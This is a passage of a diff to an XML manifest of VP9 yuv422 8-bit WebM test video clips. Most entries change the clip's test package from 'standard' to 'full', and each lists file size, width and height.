-    <value>mime=video/x-vnd.on2.vp9,size=83716,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=83716,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_arnr_15f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=83641,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=83641,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_arnr_15f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=84496,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=84496,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_arnr_5f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=84648,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=84648,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_arnr_5f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=84648,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=84648,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_arnr_5f_5s_3t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=84648,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=84648,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_autAltRef_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=83934,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=83934,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_autAltRef_8lag_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=82437,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=82437,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_cbr_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=90541,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=90541,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_cq0_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=84056,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=84056,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_cq10_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=84056,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=84056,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_cq16_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=84056,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=84056,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_cq32_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=84056,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=84056,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_cq4_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=84056,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=84056,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_cq63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=70062,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=70062,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_downScale_10_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=83934,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=83934,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_downScale_20_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=83934,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=83934,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_downScale_50_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=83934,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=83934,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_downScale_80_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=83934,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=83934,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_errRes_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87898,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87898,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_keyFrmOnly_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=389655,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=389655,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_lossless_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=11129807,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_noKeyFrm_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=83934,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=83934,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_nonErrRes_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=83934,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=83934,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_Qp0-10_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=2772470,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -35688,7 +35688,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=11129807,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_Qp0-63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=83934,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=83934,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_Qp10-20_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1573080,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -35697,256 +35697,256 @@
     <value>mime=video/x-vnd.on2.vp9,size=890181,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_Qp30-40_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=428863,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=428863,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_Qp32_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=673652,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=673652,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_Qp40-50_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=192059,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=192059,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_Qp50-63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=80312,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=80312,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_Qp63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=17390,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=17390,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_sharp0_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=83934,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=83934,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_sharp1_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=84237,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=84237,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_sharp2_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=83880,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=83880,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_sharp3_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=83946,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=83946,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_sharp4_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=83920,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=83920,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_sharp5_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=84271,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=84271,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_sharp6_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=83925,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=83925,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_sharp7_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=84089,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=84089,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_skip5frm_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=71446,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=71446,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_upScale_100_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=83934,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=83934,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_upScale_10_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=83934,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=83934,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_upScale_20_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=83934,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=83934,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_upScale_50_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=83934,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=83934,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_vbr_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=83934,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=83934,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_1024x1024p50f32_2000kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=161303,width=1024,height=1024,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=161303,width=1024,height=1024,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_1024x576p50f32_1100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88479,width=1024,height=576,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88479,width=1024,height=576,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_1024x768p50f32_1500kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=120288,width=1024,height=768,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=120288,width=1024,height=768,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_1080x1440p50f32_3100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=259452,width=1080,height=1440,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=259452,width=1080,height=1440,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_1080x16p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21558,width=1080,height=16,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21558,width=1080,height=16,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_1080x1920p50f32_4100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=326193,width=1080,height=1920,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=326193,width=1080,height=1920,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_1080x64p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19865,width=1080,height=64,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19865,width=1080,height=64,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_1088x1920p50f32_4100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=325974,width=1088,height=1920,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=325974,width=1088,height=1920,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_1152x2048p50f32_4700kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=373733,width=1152,height=2048,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=373733,width=1152,height=2048,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_1280x1280p50f32_3200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=257588,width=1280,height=1280,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=257588,width=1280,height=1280,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_1280x16p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21247,width=1280,height=16,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21247,width=1280,height=16,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_1280x1920p50f32_4900kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=389736,width=1280,height=1920,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=389736,width=1280,height=1920,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_1280x64p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=20630,width=1280,height=64,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=20630,width=1280,height=64,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_1280x720p50f32_1800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=144058,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=144058,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_1280x960p50f32_2400kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=195357,width=1280,height=960,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=195357,width=1280,height=960,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_128x128p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21278,width=128,height=128,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21278,width=128,height=128,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_128x192p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=20198,width=128,height=192,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=20198,width=128,height=192,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_128x72p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=22521,width=128,height=72,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=22521,width=128,height=72,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_128x96p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=22561,width=128,height=96,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=22561,width=128,height=96,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_1440x1080p50f32_3100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=259270,width=1440,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=259270,width=1440,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_1440x1440p50f32_4100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=326645,width=1440,height=1440,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=326645,width=1440,height=1440,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_1440x1920p50f32_5500kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=437249,width=1440,height=1920,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=437249,width=1440,height=1920,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_1440x2560p50f32_7300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=656851,width=1440,height=2560,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=656851,width=1440,height=2560,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_1440x960p50f32_2700kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=221561,width=1440,height=960,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=221561,width=1440,height=960,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_144x144p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21451,width=144,height=144,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21451,width=144,height=144,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_144x176p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=20237,width=144,height=176,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=20237,width=144,height=176,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_144x192p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19550,width=144,height=192,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19550,width=144,height=192,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_144x256p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19291,width=144,height=256,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19291,width=144,height=256,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_144x96p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=22191,width=144,height=96,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=22191,width=144,height=96,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_1536x2048p50f32_6200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=492558,width=1536,height=2048,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=492558,width=1536,height=2048,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_160x240p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19094,width=160,height=240,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19094,width=160,height=240,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_16x1080p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=188875,width=16,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=188875,width=16,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_16x1280p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=229273,width=16,height=1280,frame-rate=,profile=,level=,bitrate=,package=standard</value>
